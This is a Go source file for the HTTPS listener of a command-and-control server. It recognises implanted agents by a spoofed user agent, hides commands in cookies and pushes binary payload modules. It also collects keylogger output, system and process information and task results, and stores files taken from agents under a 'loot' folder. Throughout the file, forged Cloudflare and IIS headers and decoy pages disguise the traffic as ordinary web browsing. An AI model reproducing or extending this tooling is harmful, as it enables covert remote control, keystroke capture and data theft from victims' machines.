package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"net/url"
	"os"
	"path/filepath"
	"strings"
	"time"
)

// Configuration variables for C2 communication
var (
	// Certificate paths
	certFile = "certificates/server.crt"
	keyFile  = "certificates/server.key"

	// Agent identification
	c2AgentUserAgent       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
	c2IdentificationHeader = "Accept-Language"
	c2IdentificationValue  = "en-US,en;q=0.9"

	// Domain-specific configurations
	domainProfiles = map[string]DomainProfile{
		"example.com": {
			CommandCookie:          "example-token",
			CommandHeader:          "example-header",
			CommandHeaderValue:     "example-value",
			MessageCookieName:      "example-cookie",
			BodyMessageHeader:      "example-body-cookie",
			BodyMessageHeaderValue: "example-body-header",
			Headers: map[string]string{
				"alt-svc":                           "h3=\":443\"; ma=86400",
				"cache-control":                     "private, no-cache, no-store, max-age=0, must-revalidate",
				"cf-cache-status":                   "DYNAMIC",
				"cf-ray":                            "936f6a7adc8c027d-WAW",
				"content-encoding":                  "br",
				"cross-origin-opener-policy":        "same-origin-allow-popups",
				"cross-origin-resource-policy":      "same-origin",
				"origin-agent-cluster":              "?1",
				"priority":                          "u=0,i",
				"referrer-policy":                   "no-referrer-when-downgrade",
				"server":                            "cloudflare",
				"strict-transport-security":         "max-age=15552000; includeSubDomains; preload",
				"vary":                              "Accept-Encoding",
				"x-content-type-options":            "nosniff",
				"x-dns-prefetch-control":            "on",
				"x-download-options":                "noopen",
				"x-frame-options":                   "SAMEORIGIN",
				"x-permitted-cross-domain-policies": "none",
			},
		},
		"another-example.org": {
			CommandCookie:      "JSESSIONID",
			CommandHeader:      "X-Powered-By",
			CommandHeaderValue: "ASP.NET",
			Headers: map[string]string{
				"cache-control":             "max-age=3600",
				"content-encoding":          "gzip",
				"pragma":                    "no-cache",
				"server":                    "Microsoft-IIS/10.0",
				"strict-transport-security": "max-age=31536000",
				"x-aspnet-version":          "4.0.30319",
				"x-powered-by":              "ASP.NET",
				"x-content-type-options":    "nosniff",
				"x-frame-options":           "DENY",
				"x-xss-protection":          "1; mode=block",
			},
		},
	}

	// Default profile for unknown domains
	defaultProfile = DomainProfile{
		CommandCookie:          "x-auth-csrf-token",
		CommandHeader:          "Server-Timing",
		CommandHeaderValue:     "cfExtPri",
		MessageCookieName:      "sessionID",
		BodyMessageHeader:      "X-Requested-With",
		BodyMessageHeaderValue: "XMLHttpRequest",
		Headers: map[string]string{
			"cache-control":             "max-age=3600",
			"content-encoding":          "gzip",
			"pragma":                    "no-cache",
			"server":                    "Microsoft-IIS/10.0",
			"strict-transport-security": "max-age=31536000",
			"set-cookie":                "test1=some_cookie1; test2=some_cookie2",
			"x-aspnet-version":          "4.0.30319",
			"x-powered-by":              "ASP.NET",
			"x-content-type-options":    "nosniff",
			"x-frame-options":           "DENY",
			"x-xss-protection":          "1; mode=block",
		},
	}
)

// DomainProfile stores configuration for each domain
type DomainProfile struct {
	CommandCookie          string // Cokie which server embeds message to
	CommandHeader          string // Header name which server sets to indicate a new command for agent
	CommandHeaderValue     string // Header value which server sets to indicate a new command for agent
	MessageCookieName      string // Cookie name where agent embeds messages in GET
	BodyMessageHeader      string // Header which agent sets when wants to send a big message via POST
	BodyMessageHeaderValue string // Header value which agent sets when wants to send a big message via POST
	Headers                map[string]string
}

// These was created in order to track response state
// If body was written - wroteBody becomes true and thus normal content is not served
// But this requres all "w" (http.ResponseWriter) passing changed to "ri"
// Not sure if this good way to go
type responseInterceptor struct {
	http.ResponseWriter
	wroteBody bool
}

func (ri *responseInterceptor) Write(b []byte) (int, error) {
	ri.wroteBody = true
	return ri.ResponseWriter.Write(b)
}

func (ri *responseInterceptor) HeaderWritten() bool {
	return ri.wroteBody
}

// Main functions to start HTTP listener
func StartHttpsListener(port string) *http.Server {
	// Create a file server for serving regular content
	fileServer := http.FileServer(http.Dir("public"))

	// Set up a handler that will intercept all requests
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		// Log every request to file and console
		logRequest(r)

		// Intercept reponse writer to track if it's body was written
		ri := &responseInterceptor{ResponseWriter: w}

		// Get domain from request
		domain := getDomain(r)
		debugLog("Domain requested: %s", domain)

		// Get profile for this domain
		profile := getProfileForDomain(domain)

		// Check if this is an agent communication
		isAgentCommunication := IdentifyAgent(r)

		if isAgentCommunication {
			debugLog("{+} Agent communication identified from %s", r.RemoteAddr)

			// Handle based on method
			switch r.Method {
			case "GET":
				handleGET(w, r, profile)
			case "POST":
				handlePOST(w, r, profile)
			default:
				debugLog("Unsupported http method: %s from agent %s\n", r.Method, r.RemoteAddr)
			}
		}

		// Add domain-specific headers to maintain appearance of normal web traffic
		addDomainHeaders(w, profile)

		// Serve normal content regardless to maintain cover
		// But serve only if reponse body was not writen
		if ri.HeaderWritten() {
			debugLog("Response body already written, skipping content serving")
		} else {
			debugLog("Serving content")
			fileServer.ServeHTTP(w, r)
		}
	})

	// Add dedicated file upload handler
	http.HandleFunc("/upload", handleFileUpload)

	httpServer := &http.Server{
		Addr: port,
	}

	// Start HTTPS server
	go func() {
		debugLog("HTTPS server started on: %s\n", port)
		if err := httpServer.ListenAndServeTLS(certFile, keyFile); err != nil && err != http.ErrServerClosed {
			log.Fatalf("ListenAndServeTLS error: %v", err)
		}
	}()

	return httpServer
}

// URL decode function for Go server
func urlDecode(encoded string) (string, error) {
	decoded, err := url.QueryUnescape(encoded)
	if err != nil {
		return "", err
	}
	return decoded, nil
}

// Handle file upload from agent
// Modified handleFileUpload function with URL decoding
func handleFileUpload(w http.ResponseWriter, r *http.Request) {
	// Only allow POST requests
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// Get domain and profile
	domain := getDomain(r)
	profile := getProfileForDomain(domain)

	// Verify this is an agent communication
	if !IdentifyAgent(r) {
		debugLog("Non-agent attempted file upload from %s", r.RemoteAddr)
		// Serve normal content to maintain cover
		http.Error(w, "Not Found", http.StatusNotFound)
		return
	}

	debugLog("[+] File upload request from agent at %s", r.RemoteAddr)

	// Extract message from cookie
	message := ""
	cookies := r.Cookies()
	found := false

	for _, cookie := range cookies {
		if cookie.Name == profile.MessageCookieName {
			// URL decode the cookie value to handle special characters
			decodedValue, err := urlDecode(cookie.Value)
			if err != nil {
				debugLog("Failed to decode cookie value: %v", err)
				continue
			}
			message = decodedValue
			debugLog("[+] Upload message cookie found (decoded): %s", message)
			found = true
			break
		}
	}

	if !found {
		debugLog("No message cookie found in upload request from %s", r.RemoteAddr)
		// Debug: Print all available cookies
		debugLog("Available cookies:")
		for _, cookie := range cookies {
			debugLog("  %s: %s", cookie.Name, cookie.Value)
		}
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	// Parse the message to get agent ID and file info
	messageParts := strings.SplitN(message, "~", 4)
	if len(messageParts) < 3 {
		debugLog("Invalid upload message format from %s: %s", r.RemoteAddr, message)
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	agentID := messageParts[0]
	messageType := messageParts[1] // Should be "FILE"
	fileName := messageParts[2]

	if messageType != "FILE" {
		debugLog("Invalid message type for file upload: %s", messageType)
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	// Extract just the filename from the full path for saving
	// Handle both forward and backward slashes
	baseName := fileName
	if strings.Contains(fileName, "\\") {
		parts := strings.Split(fileName, "\\")
		baseName = parts[len(parts)-1]
	} else if strings.Contains(fileName, "/") {
		parts := strings.Split(fileName, "/")
		baseName = parts[len(parts)-1]
	}

	debugLog("[+] File upload from agent %s, original path: %s, saving as: %s", agentID, fileName, baseName)

	// Create uploads directory if it doesn't exist
	uploadsDir := fmt.Sprintf("loot/%s", agentID)
	if err := os.MkdirAll(uploadsDir, 0755); err != nil {
		debugLog("Failed to create uploads directory: %v", err)
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	// Create the file using the base name
	filePath := filepath.Join(uploadsDir, baseName)
	outFile, err := os.Create(filePath)
	if err != nil {
		debugLog("Failed to create file %s: %v", filePath, err)
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}
	defer outFile.Close()

	// Copy the request body (file data) to the file
	bytesWritten, err := io.Copy(outFile, r.Body)
	if err != nil {
		debugLog("Failed to write file data: %v", err)
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	infoLog(fmt.Sprintf("File uploaded from agent %s: %s -> %s (%d bytes)", agentID, fileName, baseName, bytesWritten))
	SendMessageToAllOperators(fmt.Sprintf("File uploaded from agent %s: %s (%d bytes)", agentID, baseName, bytesWritten))

	// Add domain-specific headers to maintain cover
	addDomainHeaders(w, profile)

	// Send success response
	w.WriteHeader(http.StatusOK)
	w.Write([]byte("Upload successful"))

	debugLog("[+] File upload completed: %s", filePath)
}

// Handle GET request from agent
func handleGET(w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	// Log the identified agent communication
	// debugLog("GET received from agent at %s\n", r.RemoteAddr)

	// Read cookies
	cookies := r.Cookies()
	found := false
	message := ""

	// Try to find cookie with embeded message
	for _, cookie := range cookies {
		if cookie.Name == profile.MessageCookieName {
			message = string(cookie.Value)
			debugLog("[+] Message cookie found in request from %s\n", r.RemoteAddr)
			debugLog("Message : %s\n", message)
			found = true
			break
		}
	}

	// Skip request if no target cookie found
	if !found {
		debugLog("No %s cookie found in request from %s\n", profile.MessageCookieName, r.RemoteAddr)
		return
	}

	ParseAgentMessageHTTP(w, r, message, profile)
}

// Handle agent's POST request
func handlePOST(w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	// debugLog("POST received from agent at %s\n", r.RemoteAddr)
	message := ""
	headerValue := r.Header.Get(profile.BodyMessageHeader)
	if headerValue == profile.BodyMessageHeaderValue {
		debugLog("[+] Body message header found, checking request body...")

		// Read the request body
		body, err := io.ReadAll(r.Body)
		if err != nil {
			debugLog("Error reading request body: %v\n", err)
			http.Error(w, "Bad Request", http.StatusBadRequest)
			return
		}
		defer r.Body.Close()

		// Convert UTF-16 bytes to UTF-8 string and remove null terminator
		message, err = decodeUTF16(body)
		if err != nil {
			debugLog("Error decoding UTF-16 body: %v\n", err)
			http.Error(w, "Bad Request", http.StatusBadRequest)
			return
		}

		// Print the request body
		if len(message) > 0 {
			debugLog("[+] Request body content: %s", message)
		} else {
			debugLog("Request body is empty")
		}
	} else {
		debugLog("Body message header not found")
		return
	}

	ParseAgentMessageHTTP(w, r, message, profile)
}

// Parses agent's message
func ParseAgentMessageHTTP(w http.ResponseWriter, r *http.Request, message string, profile DomainProfile) {
	agentIP := r.RemoteAddr

	// Print message only if it is not too big
	if len(message) <= 256 {
		debugLog("Message from agent at %s (%d bytes): \"%s\"", agentIP, len(message), message)
	} else {
		// Print the first 256 characters and indicate truncation
		truncated := message[:256] + "..."
		debugLog("Message from agent at %s (%d bytes) (truncated): \n%s", agentIP, len(message), truncated)
	}

	messageParts := strings.SplitN(message, "~", 7)

	if len(messageParts) < 2 {
		debugLog("Invalid message from %s: '%s'\n", r.RemoteAddr, message)
		return
	}
	agentID := messageParts[0]
	messageType := messageParts[1]

	if _, exists := GetAgent(agentID); !exists {
		infoLog(fmt.Sprintf("New agent checked-in: %s", agentID))
		SendMessageToAllOperators(fmt.Sprintf("New agent checked-in: %s", agentID))
	}

	// Different messages may require difference handling
	switch messageType {
	case "HEARTBEAT":
		if len(messageParts) == 2 {
			HandleHeartbeatHTTP(agentID, w, r, profile)
		} else {
			debugLog("Invalid heartbeat from %s", agentIP)
		}
	case "SYSINFO":
		if len(messageParts) == 4 {
			HandleSystemInfo(agentID, agentIP, messageParts[3])
		} else {
			debugLog("Invalid sysinfo message format")
		}
	case "KEYLOGGER":
		if len(messageParts) == 4 {
			HandleKeyloggerMessage(agentID, messageParts[2])
		} else {
			debugLog("Invalid key message format")
		}
	case "PROCESS":
		taskID := messageParts[2]
		debugLog("Task ID: %s", taskID)
		if len(messageParts) == 3 {
			taskID := messageParts[2]
			FormatProcessListOutput(agentID, messageParts[3], taskID)
		} else {
			debugLog("Invalid process info message format")
		}
	case "TASKRESULT":
		taskID := messageParts[2]
		debugLog("Task ID: %s", taskID)
		if len(messageParts) >= 3 {
			HandleTaskResult(agentID, messageParts[3], taskID)
		} else {
			debugLog("Invalid task result message format ")
		}
	default:
		debugLog("Unknown message type from agent %s: %s\n", agentID, messageType)
	}
}

func HandleHeartbeatHTTP(agentID string, w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	// Update or create the agent entry directly
	newInfo := &AgentInfo{
		RemoteIP:       r.RemoteAddr,
		LastConnection: time.Now(),
	}

	UpdateAgent(agentID, newInfo)

	// Check if there's a task for the agent
	task := taskHandler.GetNextTask(agentID)
	if task != nil {
		debugLog("There is a task for agent %s", agentID)
		SendTaskHTTP(agentID, task, w, r, profile)
	} else {
		debugLog("No task for agent %s", agentID)
		SendAckHTTP(agentID, w, r, profile)
	}
}

// Send task or module to http agent
func SendTaskHTTP(agentID string, task *Task, w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	var taskMessage string

	// If there is a payload - we are sending a module, this required special handling
	// For http agents, we embed task message into cookie, while payload is sent in body
	if task.Payload != nil {
		debugLog("Task has a payload, preparing task message")

		// Set command header based on domain profile
		w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

		// Embed task in domain-specific cookie
		taskMessage = fmt.Sprintf("TASK~%s~%s~%s~%d", task.TaskID, task.Type, task.Args, len(task.Payload))

		debugLog("Embeding task \"%s\" into cookie \"%s\"\n", taskMessage, profile.CommandCookie)
		http.SetCookie(w, &http.Cookie{
			Name:    profile.CommandCookie,
			Value:   taskMessage,
			Path:    "/",
			Expires: time.Now().Add(24 * time.Hour),
		})

		// Send binary payload in body
		debugLog("Writing payload to response body")

		w.Header().Set("Content-Type", "application/octet-stream")
		w.Write(task.Payload) // Now this will actually be sent
		infoLog("Sent task to agent %s: %s %s", agentID, task.Type, task.Args)

	} else if task.Type == "upload" {

		// Set command header based on domain profile
		// w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

		operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, task.TaskID)
		if exists {
			operatorConn.Write([]byte("HTTP Agents currently do not support file download/upload operations"))
		}
		SendAckHTTP(agentID, w, r, profile) // Just send ACK to agent

	} else {
		debugLog("Preparing usual task for agent %s", agentID)

		// Set command header based on domain profile
		w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

		// Embed task in domain-specific cookie
		taskMessage = fmt.Sprintf("TASK~%s~%s~%s", task.TaskID, task.Type, task.Args)
		debugLog("Embeding task \"%s\" into cookie \"%s\"\n", taskMessage, profile.CommandCookie)
		http.SetCookie(w, &http.Cookie{
			Name:    profile.CommandCookie,
			Value:   taskMessage,
			Path:    "/",
			Expires: time.Now().Add(24 * time.Hour),
		})
		debugLog("Task dispatched to agent %s at %s\n", agentID, r.RemoteAddr)
	}
}

// Send ACK message to http agent
func SendAckHTTP(agentID string, w http.ResponseWriter, r *http.Request, profile DomainProfile) {

	// Set command header based on domain profile
	w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

	// If no task, send ACK
	debugLog("Sending ACK to agent\n")
	http.SetCookie(w, &http.Cookie{
		Name:    profile.CommandCookie,
		Value:   "ACK",
		Path:    "/",
		Expires: time.Now().Add(24 * time.Hour),
	})

	debugLog("Acknowledged agent %s", agentID)
}

// Extract domain from request
func getDomain(r *http.Request) string {
	host := r.Host
	// Strip port if present
	if strings.Contains(host, ":") {
		host = strings.Split(host, ":")[0]
	}
	return host
}

// Get profile for specific domain
func getProfileForDomain(domain string) DomainProfile {
	profile, exists := domainProfiles[domain]
	if !exists {
		return defaultProfile
	}
	return profile
}

// Log all incoming request details to both file and console
func logRequest(r *http.Request) {
	// Format basic request info
	logEntry := fmt.Sprintf("Request: %s %s from IP: %s\n", r.Method, r.URL.Path, r.RemoteAddr)

	// Log User-Agent
	logEntry += fmt.Sprintf("User-Agent: %s\n", r.UserAgent())

	// Log all headers
	logEntry += "Headers:\n"
	for name, values := range r.Header {
		logEntry += fmt.Sprintf("  %s: %s\n", name, strings.Join(values, ", "))
	}

	// Log cookies
	if len(r.Cookies()) > 0 {
		logEntry += "Cookies:\n"
		for _, cookie := range r.Cookies() {
			logEntry += fmt.Sprintf("  %s: %s\n", cookie.Name, cookie.Value)
		}
	}

	logEntry += "-----------------------\n"

	// Also log a simplified version to console
	debugLog("%s %s from %s (UA: %s)\n", r.Method, r.URL.Path, r.RemoteAddr, shortenUserAgent(r.UserAgent()))
	debugLog(logEntry)
}

// Helper function to decode UTF-16 bytes to UTF-8 string
func decodeUTF16(b []byte) (string, error) {
	if len(b)%2 != 0 {
		return "", fmt.Errorf("invalid UTF-16 byte length: %d", len(b))
	}
	// Convert UTF-16 bytes to runes
	runes := make([]rune, len(b)/2)
	for i := 0; i < len(b)/2; i++ {
		runes[i] = rune(b[2*i]) | rune(b[2*i+1])<<8
	}
	// Trim null terminator and convert to string
	return strings.TrimRight(string(runes), "\x00"), nil
}

// Shorten user agent for console display
func shortenUserAgent(ua string) string {
	if len(ua) > 30 {
		return ua[:27] + "..."
	}
	return ua
}

// Identify if the request is from our agent
func IdentifyAgent(r *http.Request) bool {
	// Check for our specific user agent
	if !strings.Contains(r.UserAgent(), c2AgentUserAgent) {
		return false
	}

	// Check for our identification header and value
	headerValue := r.Header.Get(c2IdentificationHeader)
	return headerValue == c2IdentificationValue
}

// Add domain-specific headers to maintain appearance of regular web traffic
func addDomainHeaders(w http.ResponseWriter, profile DomainProfile) {
	// Create a copy of headers to modify
	headers := make(map[string]string)
	for k, v := range profile.Headers {
		headers[k] = v
	}

	// Update dynamic headers
	currentTime := time.Now().UTC()

	// Common headers that need dynamic values
	headers["date"] = currentTime.Format(time.RFC1123)

	// Domain-specific dynamic headers
	if _, exists := headers["expires"]; exists {
		expireTime := currentTime.Add(1 * time.Hour)
		headers["expires"] = expireTime.Format(time.RFC1123)
	}

	// Handle set-cookie header
	if cookieHeader, exists := headers["set-cookie"]; exists {
		// Split multiple cookies (e.g., "test1=some_cookie_stuff; test2=some_cookie")
		cookies := strings.Split(cookieHeader, ";")
		for _, cookie := range cookies {
			cookie = strings.TrimSpace(cookie)
			if cookie == "" {
				continue
			}
			// Split cookie into name and value (e.g., "test1=some_cookie_stuff")
			parts := strings.SplitN(cookie, "=", 2)
			if len(parts) != 2 {
				debugLog("Invalid cookie format in set-cookie: %s\n", cookie)
				continue
			}
			name := strings.TrimSpace(parts[0])
			value := strings.TrimSpace(parts[1])
			http.SetCookie(w, &http.Cookie{
				Name:    name,
				Value:   value,
				Path:    "/",
				Expires: time.Now().Add(24 * time.Hour),
			})
		}
	}

	// Set all headers except set-cookie (already handled)
	for name, value := range headers {
		if name != "set-cookie" && value != "" {
			w.Header().Set(name, value)
		}
	}
}
